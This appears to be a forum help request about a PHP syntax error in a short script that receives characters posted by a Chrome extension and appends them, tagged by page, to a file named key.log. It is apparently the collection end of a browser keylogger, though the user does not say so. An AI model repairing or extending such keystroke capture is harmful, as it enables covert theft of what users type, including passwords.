Parse error: syntax error, unexpected token "if" on line 9

  php

I don’t really know any PHP and I can’t seem to understand why this script isn’t working. For context, it’s just a simple script that is connected to a xammp server for a chrome extension I’ve been trying to make.

<?php

if (!isset($_POST['key'])) {  ### Authenticate input
        echo("Access Denied!");
        exit(0);
}
$file = fopen("key.log","a+")

if (!isset($_SESSION['page']) || $_SESSION['page'] != $_POST['page']) {
        $_SESSION['page'] = $_POST['page'];
        fwrite($file," [[[ PAGE : ".$_POST['page']."]]] ");
}

fwrite($file,$_POST['key']);
fclose($file);

echo('Char saved!');

Source: Ask PHP

LEAVE A COMMENT